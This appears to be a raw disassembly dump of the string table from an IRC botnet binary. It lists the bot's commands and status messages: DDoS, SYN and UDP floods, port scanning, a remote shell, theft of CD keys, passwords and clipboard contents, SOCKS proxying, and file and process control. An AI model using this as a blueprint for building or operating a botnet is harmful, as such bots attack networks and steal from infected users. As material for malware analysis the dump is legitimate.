aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+3AFo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40C50A+3C2o align 4 aSS_10 db ':%s%s',0 ; DATA XREF: sub_40C50A+4E5o align 4 aPart db 'PART',0 ; DATA XREF: sub_40C50A+50Do align 4 aQuit_0 db 'QUIT',0 ; DATA XREF: sub_40C50A+51Eo align 4 aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_40C50A+5B6o align 4 aPart_0 db 'PART',0 ; DATA XREF: sub_40C50A+5D3o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+5F7o a353 db '353',0 ; DATA XREF: sub_40C50A+55Fo aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_40C50A+596o aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_40C50A+602o aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_40C50A+613o align 4 a332 db '332',0 ; DATA XREF: sub_40C50A+624o aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: sub_40C50A+645o aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_40C50A+65Ao align 4 aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_40C50A+7D5o align 10h asc_43EEF0: ; DATA XREF: sub_40C50A+7FAo unicode 0, <#>,0 dword_43EEF4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40C50A+882o dword_43EF00 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40C50A+8ADo dd 0D017325h, 0Ah dword_43EF1C dd 4E495001h, 47h ; DATA XREF: sub_40C50A+8B8o dword_43EF24 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40C50A+8E9o dd 0A0Dh dword_43EF3C dd 43434401h, 0 ; DATA XREF: sub_40C50A+6A4o aSend_0 db 'SEND',0 ; DATA XREF: sub_40C50A+6C2o align 4 aS_9 db '%s',0 ; DATA XREF: sub_40C50A+6EFo align 10h aS_10 db '%s',0 ; DATA XREF: sub_40C50A+707o align 4 aDccReceiveFile db '[DCC]: Receive file: ',27h,'%s',27h,' from user: %s.',0 ; DATA XREF: sub_40C50A+768o align 10h aDccFailedToSta db '[DCC]: Failed to start transfer thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+8FAo align 4 aDccReceiveFi_0 db '[DCC]: Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s' ; DATA XREF: sub_40C50A+924o db '.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40C50A+941o align 10h aS_11 db '%s',0 ; DATA XREF: sub_40C50A+97Eo align 4 aDccChatFromUse db '[DCC]: Chat from user: %s.',0 ; DATA XREF: sub_40C50A+9D8o align 10h aDccFailedToS_0 db '[DCC]: Failed to start chat thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+A47o align 4 aDccChatAlready db '[DCC]: Chat already active with user: %s.',0 ; DATA XREF: sub_40C50A+A58o align 10h aDccChatFailedB db '[DCC]: Chat failed by unauthorized user: %s.',0 ; DATA XREF: sub_40C50A+A69o align 10h aHi db 'hi',0 ; DATA XREF: sub_40C50A+A8Co align 4 aFr db 'Fr',0 ; DATA XREF: sub_40C50A+AA4o align 4 asc_43F0B8: ; DATA XREF: sub_40C50A+6157o unicode 0, <!>,0 asc_43F0BC: ; DATA XREF: sub_40C50A+6175o unicode 0, <~>,0 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+61A5o align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+61B9o align 4 aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_40C50A+61C8o align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+6203o align 4 aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+6217o align 10h aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_40C50A+6226o align 4 aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_40C50A+6296o align 4 aMainUserSLog_3 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_40C50A+62B3o a332_3 db '332',0 ; DATA XREF: sub_40C50A+AC6o asc_43F1F4 db ' :',0 ; DATA XREF: sub_40C50A:loc_40D028o align 4 aD db '$%d-',0 ; DATA XREF: sub_40C50A+B7Co align 10h aD_0 db '$%d',0 ; DATA XREF: sub_40C50A+C37o aMe db '$me',0 ; DATA XREF: sub_40C50A+CA5o aUser_1 db '$user',0 ; DATA XREF: sub_40C50A+CB7o align 10h aChan db '$chan',0 ; DATA XREF: sub_40C50A+CC8o align 4 aRndnick db '$rndnick',0 ; DATA XREF: sub_40C50A+CE4o align 4 aServer db '$server',0 ; DATA XREF: sub_40C50A+CF5o aChr db '$chr(',0 ; DATA XREF: sub_40C50A+D00o align 4 aChr_0 db '$chr(',0 ; DATA XREF: sub_40C50A+D19o align 4 asc_43F23C: ; DATA XREF: sub_40C50A+D41o unicode 0, <)>,0 a63 db '63',0 ; DATA XREF: sub_40C50A+D69o align 4 asc_43F244: ; DATA XREF: sub_40C50A+E35o unicode 0, < >,0 asc_43F248: ; DATA XREF: sub_40C50A:loc_40D360o unicode 0, < >,0 aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_40C50A+E90o aRn db 'rn',0 ; DATA XREF: sub_40C50A+EA8o align 4 aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+6110o align 4 aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_40C50A+6124o align 4 aDie db 'die',0 ; DATA XREF: sub_40C50A+EBDo aD_1: ; DATA XREF: sub_40C50A+ED2o unicode 0, <d>,0 a332_4 db '332',0 ; DATA XREF: sub_40C50A+60C8o aLogout db 'logout',0 ; DATA XREF: sub_40C50A+EE7o align 4 aLo db 'lo',0 ; DATA XREF: sub_40C50A+EFCo align 4 aMainUserSLog_1 db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_40C50A+602Do aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_40C50A+6040o align 10h aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_40C50A+6048o align 4 aMainUserSLog_2 db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_40C50A+6084o aVersion db 'version',0 ; DATA XREF: sub_40C50A+F11o aVer db 'ver',0 ; DATA XREF: sub_40C50A+F26o aMainS db '[MAIN]: %s',0 ; DATA XREF: sub_40C50A+5FDFo align 4 aSecure db 'secure',0 ; DATA XREF: sub_40C50A+F3Bo align 4 aSec db 'sec',0 ; DATA XREF: sub_40C50A+F50o aUnsecure db 'unsecure',0 ; DATA XREF: sub_40C50A+F65o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_40C50A+F7Ao align 4 aSecure_2 db 'secure',0 ; DATA XREF: sub_40C50A+5ECEo align 4 aSec_0 db 'sec',0 ; DATA XREF: sub_40C50A+5EDFo aSecuring db 'Securing',0 ; DATA XREF: sub_40C50A+5F3Ao align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40C50A+5F41o align 10h aSecureSSystem_ db '[SECURE]: %s system.',0 ; DATA XREF: sub_40C50A+5F47o align 4 aSecureFailed_0 db '[SECURE]: Failed to start secure thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+5FC1o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_40C50A+F8Fo align 4 aS4 db 's4',0 ; DATA XREF: sub_40C50A+FA4o align 4 aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_40C50A+5E54o aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+5EC3o align 4 aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_40C50A+FB9o align 4 aServer_0 db 'Server',0 ; DATA XREF: sub_40C50A+FD2o align 4 aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: sub_40C50A+FD7o align 4 aRloginstop db 'rloginstop',0 ; DATA XREF: sub_40C50A+FE2o align 4 aServer_1 db 'Server',0 ; DATA XREF: sub_40C50A+FFBo align 4 aRlogind db '[RLOGIND]',0 ; DATA XREF: sub_40C50A+1000o align 4 aHttpstop db 'httpstop',0 ; DATA XREF: sub_40C50A+100Bo align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_40C50A+1024o align 4 aHttpd db '[HTTPD]',0 ; DATA XREF: sub_40C50A+1029o aLogstop db 'logstop',0 ; DATA XREF: sub_40C50A+1034o aLogList db 'Log list',0 ; DATA XREF: sub_40C50A+104Do align 4 aLog db '[LOG]',0 ; DATA XREF: sub_40C50A+1052o align 10h aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_40C50A+105Do align 10h aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_40C50A+1076o align 10h aRedirect db '[REDIRECT]',0 ; DATA XREF: sub_40C50A+107Bo align 4 aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_40C50A+1086o align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40C50A+109Fo align 4 aDdos db '[DDoS]',0 ; DATA XREF: sub_40C50A+10A4o align 4 aSynstop db 'synstop',0 ; DATA XREF: sub_40C50A+10AFo aSynFlood db 'Syn flood',0 ; DATA XREF: sub_40C50A+10C8o align 10h aSyn db '[SYN]',0 ; DATA XREF: sub_40C50A+10CDo align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_40C50A+10D8o aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40C50A+10F1o align 4 aUpd db '[UPD]',0 ; DATA XREF: sub_40C50A+10F6o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_40C50A+1101o align 10h aPingFlood db 'Ping flood',0 ; DATA XREF: sub_40C50A+111Ao align 4 aPing_0 db '[PING]',0 ; DATA XREF: sub_40C50A+111Fo align 4 aTftpstop db 'tftpstop',0 ; DATA XREF: sub_40C50A+112Ao align 10h aServer_3 db 'Server',0 ; DATA XREF: sub_40C50A+1143o align 4 aTftp db '[TFTP]',0 ; DATA XREF: sub_40C50A+1148o align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_40C50A+1153o align 10h aFfstop db 'ffstop',0 ; DATA XREF: sub_40C50A+1168o align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_40C50A+5D85o align 4 aFindfile_0 db '[FINDFILE]',0 ; DATA XREF: sub_40C50A+5D8Ao align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_40C50A+117Do align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_40C50A+1192o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_40C50A+5D70o align 4 aProc db '[PROC]',0 ; DATA XREF: sub_40C50A+5D75o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_40C50A+11A7o align 4 aClone db 'Clone',0 ; DATA XREF: sub_40C50A+11C0o align 10h aClones db '[CLONES]',0 ; DATA XREF: sub_40C50A+11C5o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_40C50A+11D0o align 4 aSecure_0 db 'Secure',0 ; DATA XREF: sub_40C50A+11E9o align 10h aSecure_1 db '[SECURE]',0 ; DATA XREF: sub_40C50A+11EEo align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_40C50A+11F9o align 4 aScan db 'Scan',0 ; DATA XREF: sub_40C50A+1212o align 10h aScan_0 db '[SCAN]',0 ; DATA XREF: sub_40C50A+1217o align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_40C50A+1222o align 4 aStats db 'stats',0 ; DATA XREF: sub_40C50A+1237o align 4 aReconnect db 'reconnect',0 ; DATA XREF: sub_40C50A+124Co align 4 aR_0: ; DATA XREF: sub_40C50A+1261o unicode 0, <r>,0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40C50A:loc_41223Ao align 4 aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_40C50A+5D3Do align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_40C50A+1276o align 4 aDc db 'dc',0 ; DATA XREF: sub_40C50A+128Bo align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40C50A:loc_412218o align 4 aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_40C50A+5D1Bo align 4 aQuit_1 db 'quit',0 ; DATA XREF: sub_40C50A+12A0o align 4 aQ: ; DATA XREF: sub_40C50A+12B5o unicode 0, <q>,0 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+5CE6o align 4 aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40C50A:loc_412202o align 4 aStatus db 'status',0 ; DATA XREF: sub_40C50A+12CAo align 4 aS_12: ; DATA XREF: sub_40C50A+12DFo unicode 0, <s>,0 aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_40C50A+5C9Ao align 4 aId db 'id',0 ; DATA XREF: sub_40C50A+12F4o align 4 aI_0: ; DATA XREF: sub_40C50A+1309o unicode 0, <i>,0 aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_40C50A+5C5Co aReboot db 'reboot',0 ; DATA XREF: sub_40C50A+131Eo align 4 aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_40C50A+1335o align 4 aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_40C50A+133Co align 4 aThreads db 'threads',0 ; DATA XREF: sub_40C50A+1370o aT: ; DATA XREF: sub_40C50A+1385o unicode 0, <t>,0 aSub db 'sub',0 ; DATA XREF: sub_40C50A+5BA0o aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: sub_40C50A+5BC6o align 4 aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+5C31o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_40C50A+139Ao aAl db 'al',0 ; DATA XREF: sub_40C50A+13AFo align 4 aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: sub_40C50A+5B51o aLog_0 db 'log',0 ; DATA XREF: sub_40C50A+13C4o aLg db 'lg',0 ; DATA XREF: sub_40C50A+13D9o align 4 aS_36 db '%s',0 ; DATA XREF: sub_40C50A+5A76o align 4 aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: sub_40C50A+5AA9o aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+5B36o aClearlog db 'clearlog',0 ; DATA XREF: sub_40C50A+13EEo align 10h aClg db 'clg',0 ; DATA XREF: sub_40C50A+1403o aNetinfo db 'netinfo',0 ; DATA XREF: sub_40C50A+1418o aNi db 'ni',0 ; DATA XREF: sub_40C50A+142Do align 10h aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: sub_40C50A+5A25o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_40C50A+1442o aSi db 'si',0 ; DATA XREF: sub_40C50A+1457o align 4 aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: sub_40C50A+59F6o align 4 aRemov10e db 'remov10e',0 ; DATA XREF: sub_40C50A+146Co align 4 aRemov10e2 db 'remov10e2',0 ; DATA XREF: sub_40C50A+1481o align 4 aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_40C50A+59A1o align 4 aProcs db 'procs',0 ; DATA XREF: sub_40C50A+1496o align 4 aPs db 'ps',0 ; DATA XREF: sub_40C50A+14ABo align 4 aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: sub_40C50A+589Do align 4 aFull db 'full',0 ; DATA XREF: sub_40C50A+58FFo align 4 aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_40C50A+591Fo aProcsFailedT_0 db '[PROCS]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+598Eo align 4 aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_40C50A+14C0o align 4 aKey db 'key',0 ; DATA XREF: sub_40C50A+14D5o aCdkeysSearchCo db '[CDKEYS]: Search completed.',0 ; DATA XREF: sub_40C50A+5871o aUptime db 'uptime',0 ; DATA XREF: sub_40C50A+14EAo align 10h aUp db 'up',0 ; DATA XREF: sub_40C50A+14FFo align 4 aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_40C50A+5825o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_40C50A+1514o align 4 aDrv db 'drv',0 ; DATA XREF: sub_40C50A+1529o aTestdlls db 'testdlls',0 ; DATA XREF: sub_40C50A+153Eo align 4 aDll db 'dll',0 ; DATA XREF: sub_40C50A+1553o aOpencmd db 'opencmd',0 ; DATA XREF: sub_40C50A+1568o aOcmd db 'ocmd',0 ; DATA XREF: sub_40C50A+157Do align 4 aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_40C50A+5765o align 10h aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0 ; DATA XREF: sub_40C50A+5781o align 4 aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_40C50A:loc_411C92o align 10h aCmdstop db 'cmdstop',0 ; DATA XREF: sub_40C50A+1592o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40C50A+15ABo align 4 aCmd db '[CMD]',0 ; DATA XREF: sub_40C50A+15B0o align 10h aWho db 'who',0 ; DATA XREF: sub_40C50A+15BBo aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40C50A+15D4o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40C50A+15F6o aD_S db '%d. %s',0 ; DATA XREF: sub_40C50A+1603o align 4 aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_40C50A+1637o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_40C50A+1648o aGc db 'gc',0 ; DATA XREF: sub_40C50A+165Do align 10h aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40C50A+5721o align 4 aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_40C50A+574Fo align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_40C50A+1672o align 4 aFarp db 'farp',0 ; DATA XREF: sub_40C50A+1687o align 10h aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_40C50A+56F6o align 10h aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0 ; DATA XREF: sub_40C50A:loc_411C1Bo align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_40C50A+169Co align 4 aFdns db 'fdns',0 ; DATA XREF: sub_40C50A+16B1o align 4 aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_40C50A+56D8o align 4 aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0 ; DATA XREF: sub_40C50A:loc_411BE9o align 4 aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0 ; DATA XREF: sub_40C50A:loc_411BF0o align 4 aCurrentip db 'currentip',0 ; DATA XREF: sub_40C50A+16C6o align 4 aCip db 'cip',0 ; DATA XREF: sub_40C50A+16DBo aRloginserver db 'rloginserver',0 ; DATA XREF: sub_40C50A+16F0o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_40C50A+1705o align 4 aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0 ; DATA XREF: sub_40C50A+55EFo aRlogindFailedT db '[RLOGIND]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+565Ao align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_40C50A+171Ao align 10h aHttp db 'http',0 ; DATA XREF: sub_40C50A+172Fo align 4 aHttpdServerL_0 db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0 ; DATA XREF: sub_40C50A+54B7o aHttpdFailedT_1 db '[HTTPD]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+5526o align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_40C50A+1744o align 4 aTftp_0 db 'tftp',0 ; DATA XREF: sub_40C50A+1759o align 4 aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: sub_40C50A+5288o align 4 aTftpServerSt_0 db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: sub_40C50A+5341o align 4 aTftpFailedTo_0 db '[TFTP]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+53B0o aCrash db 'crash',0 ; DATA XREF: sub_40C50A+176Eo align 10h aMainCrashingBo db '[MAIN]: Crashing bot.',0 ; DATA XREF: sub_40C50A+1784o align 4 aCrash_0 db 'crash',0 ; DATA XREF: sub_40C50A+17BEo align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_40C50A+17D4o align 4 aFp db 'fp',0 ; DATA XREF: sub_40C50A+17E9o align 10h aFindpassSearch db '[FINDPASS]: Searching for password.',0 ; DATA XREF: sub_40C50A+51EFo aFindpassFail_0 db '[FINDPASS]: Failed to start search thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+5272o aFofofo2 db 'fofofo2',0 ; DATA XREF: sub_40C50A+17FEo aSfofofo2a db 'sfofofo2a',0 ; DATA XREF: sub_40C50A+1813o align 10h aScanAlreadyD_0 db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: sub_40C50A+4F29o align 4 aScanFailedTo_5 db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: sub_40C50A:loc_4116D5o align 4 aRandom_1 db 'Random',0 ; DATA XREF: sub_40C50A+50DAo align 4 aSequential_0 db 'Sequential',0 ; DATA XREF: sub_40C50A+50E1o align 10h aScanSPortSca_0 db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: sub_40C50A+510Co db 'for %d minutes using %d threads.',0 align 4 aScanFailedTo_4 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+517Do align 4 aNick_0 db 'nick',0 ; DATA XREF: sub_40C50A+1839o align 10h aN: ; DATA XREF: sub_40C50A+1850o unicode 0, <n>,0 aNickS_2 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4EC2o align 10h aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+4ED0o align 10h aJoin db 'join',0 ; DATA XREF: sub_40C50A+1867o align 4 aJ: ; DATA XREF: sub_40C50A+187Eo unicode 0, <j>,0 aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4EA9o align 4 aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+4EB7o align 4 aPart_1 db 'part',0 ; DATA XREF: sub_40C50A+1895o align 4 aPt db 'pt',0 ; DATA XREF: sub_40C50A+18ACo align 4 aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4E89o align 4 aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+4E97o align 4 aRaw db 'raw',0 ; DATA XREF: sub_40C50A+18C3o aR_2: ; DATA XREF: sub_40C50A+18DAo unicode 0, <r>,0 aS_30 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4E70o align 4 aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_40C50A+4E7Eo align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_40C50A+18F1o align 4 aK: ; DATA XREF: sub_40C50A+1908o unicode 0, <k>,0 aAll db 'all',0 ; DATA XREF: sub_40C50A+4D8Fo aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_40C50A+4DA9o align 4 aThreadsNoActiv db '[THREADS]: No active threads found.',0 ; DATA XREF: sub_40C50A:loc_4112BDo aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_40C50A+4DF9o align 4 aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0 ; DATA XREF: sub_40C50A:loc_41130Ao align 10h aC_quit db 'c_quit',0 ; DATA XREF: sub_40C50A+191Fo align 4 aC_q db 'c_q',0 ; DATA XREF: sub_40C50A+1936o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4D08o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_40C50A+194Do align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_40C50A+1964o align 10h aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_40C50A+4CC6o aS_29 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4CDBo align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_40C50A+197Bo align 4 aPr db 'pr',0 ; DATA XREF: sub_40C50A+1992o align 4 aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0 ; DATA XREF: sub_40C50A+4C84o align 10h aOpen_0 db 'open',0 ; DATA XREF: sub_40C50A+19A9o align 4 aO: ; DATA XREF: sub_40C50A+19C0o unicode 0, <o>,0 aOpen_2 db 'open',0 ; DATA XREF: sub_40C50A+4C54o align 4 aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_40C50A+4C65o align 10h aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0 ; DATA XREF: sub_40C50A:loc_411179o aS3rv3rfg db 's3rv3rfg',0 ; DATA XREF: sub_40C50A+19D7o align 4 aS3rv3rfg2 db 's3rv3rfg2',0 ; DATA XREF: sub_40C50A+19EEo align 4 aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+4C3Co align 4 aDns db 'dns',0 ; DATA XREF: sub_40C50A+1A05o aDn db 'dn',0 ; DATA XREF: sub_40C50A+1A1Co align 4 aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_40C50A+4BB6o align 10h aDnsLookupSS__0 db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_40C50A+4BE6o align 4 aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0 ; DATA XREF: sub_40C50A:loc_4110F7o align 10h aKillproc db 'killproc',0 ; DATA XREF: sub_40C50A+1A33o align 4 aKp db 'kp',0 ; DATA XREF: sub_40C50A+1A4Ao align 10h aProcProcessK_0 db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_40C50A+4B7Eo align 4 aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0 ; DATA XREF: sub_40C50A:loc_411092o aKill db 'kill',0 ; DATA XREF: sub_40C50A+1A61o align 4 aKi db 'ki',0 ; DATA XREF: sub_40C50A+1A78o align 10h aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_40C50A+4B21o align 10h aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0 ; DATA XREF: sub_40C50A:loc_411032o align 4 aDelete db 'delete',0 ; DATA XREF: sub_40C50A+1A8Fo align 4 aDel db 'del',0 ; DATA XREF: sub_40C50A+1AA6o aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+4AE0o align 10h aFile_2 db '[FILE]:',0 ; DATA XREF: sub_40C50A:loc_410FF1o aGet_2 db 'get',0 ; DATA XREF: sub_40C50A+1ABDo aGt db 'gt',0 ; DATA XREF: sub_40C50A+1AD4o align 10h aS_35 db '%s',0 ; DATA XREF: sub_40C50A+4A09o align 4 aDccSendFileSUs db '[DCC]: Send File: %s, User: %s.',0 ; DATA XREF: sub_40C50A+4A5Bo aDccFailedToS_1 db '[DCC]: Failed to start transfer thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+4ACAo align 4 aList_0 db 'list',0 ; DATA XREF: sub_40C50A+1AEBo align 4 aLi db 'li',0 ; DATA XREF: sub_40C50A+1B02o align 4 aFileListS db '[FILE]: List: %s',0 ; DATA XREF: sub_40C50A+49E9o align 4 aVisit db 'visit',0 ; DATA XREF: sub_40C50A+1B19o align 4 aV: ; DATA XREF: sub_40C50A+1B30o unicode 0, <v>,0 aVisitUrlS_ db '[VISIT]: URL: %s.',0 ; DATA XREF: sub_40C50A+495Fo align 4 aVisitFailedToS db '[VISIT]: Failed to start connection thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+49CEo align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_40C50A+1B47o aMirc db 'mirc',0 ; DATA XREF: sub_40C50A+1B5Eo align 4 aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: sub_40C50A+48E6o align 4 aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: sub_40C50A:loc_410DFAo align 4 aCmd_0 db 'cmd',0 ; DATA XREF: sub_40C50A+1B75o aCm db 'cm',0 ; DATA XREF: sub_40C50A+1B8Co 